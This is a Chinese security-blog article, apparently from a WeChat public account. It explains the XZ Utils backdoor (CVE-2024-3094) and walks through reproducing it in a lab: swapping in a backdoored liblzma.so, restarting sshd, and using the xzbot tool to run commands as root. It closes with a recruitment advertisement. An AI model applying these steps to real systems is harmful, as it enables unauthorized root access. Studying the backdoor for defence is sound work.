一、背景介绍
2024 年 3 月 29 日,红帽(Red Hat)和美国网络安全和基础设施安全局(CISA)联合发布警告,称流行的Linux压缩工具XZ Utils存在影响广泛的高危漏洞(CVSS评分10分)。由于XZ压缩工具广泛存在于各种Linux发行版本中,因此检查并修复该漏洞是本周企业IT和安全团队的头等大事。
该漏洞编号为CVE-2024-3094,影响用于压缩和解压缩文件格式的XZ Utils工具(5.6.0和5.6.1版本)。红帽表示,该工具几乎存在于所有Linux发行版中。
该漏洞会影响 OpenSSH 守护进程。虽然 OpenSSH 不直接链接到 liblzma 库,但它会以一种方式与 systemd 通信,由于 systemd 链接到 liblzma,这使得 OpenSSH 暴露于恶意软件攻击。
二、简要分析
注入后门的 liblzma 会通过 ifunc 方式, 劫持用于 RSA 解密的 RSA_public_decrypt 函数到其 liblzma 内的恶意实现 (符号为 Llzma_index_prealloc_0).攻击者在该函数内验证 payload 中的密钥 (漏洞的设计是:只有攻击者才能利用)若通过验证, 则通过 system() 执行攻击者的命令若未通过验证, 则跳到正确的 RSA_public_decrypt 实现, 因此不会影响正常的 ssh 连接攻击者可以通过这种方式, 绕过 openssh 登陆验证, 以 root 权限执行攻击者的任意命令.
三、漏洞复现
首先,准备一台 x86-64 架构的, 装有 openssh ,且 `sshd` 被链接到 `liblzma.so` 的 Linux 系统。
使用以下命令检查 sshd
是否被链接到 liblzma.so
。ldd $(which sshd) | grep liblzma
笔者使用的是 Ubuntu 22.04.4 LTS x86_64
, 5.15.0-101-generic
, KVM/QEMU (Standard PC (Q35 + ICH9, 2009) pc-q35-7.2)
.
在目标机器上,下载植入后门的 liblzma.so
。链接如下:
https://github.com/amlweems/xzbot/raw/main/assets/liblzma.so.5.6.1.patch
备份系统当前的 liblzma.so.5
,
cd /lib/x86_64-linux-gnu # ubuntu/debian
sudo cp liblzma.so.5 liblzma.so.5.backup
将 liblzma.so.5
软连接到植入后门的 liblzma.so.patch
cd /lib/x86_64-linux-gnu # ubuntu/debian
sudo ln -s /realpath/to/liblzma.so.5.6.1.patch liblzma.so.5
重启 sshd
不重启也可以。
sudo systemctl restart sshd
在本机上,安装利用程序。
go install github.com/amlweems/xzbot@latest
# ====
cd ~/go/bin
./xzbot -h
Usage of xzbot:
-addr string
ssh server address (default "127.0.0.1:2222")
-seed string
ed448 seed, must match xz backdoor key (default "0")
-cmd string
command to run via system() (default "id > /tmp/.xz")
# 替换为你目标机的ip,及ssh端口
./xzbot -addr "192.168.122.177:22" -cmd "date >> /tmp/xz"
在目标机上,就可以观察到恶意程序执行的结果了。
KALI实际检测
四、汽车实战
首先进入车机系统
上传bash脚本
看我一顿操作
看来公司的车子是安全的,放心了,回去测我的梅赛德斯
你也想成为我们一样的人吗?也想要大跑车吗?
可以联系微信:Changethe_one,只要你提供目前的现状与学历,陈老师可以免费帮大家做职业规划哟
原文始发于微信公众号(暗影网安实验室):车辆安全灵魂拷问漏洞之CVE-2024-3094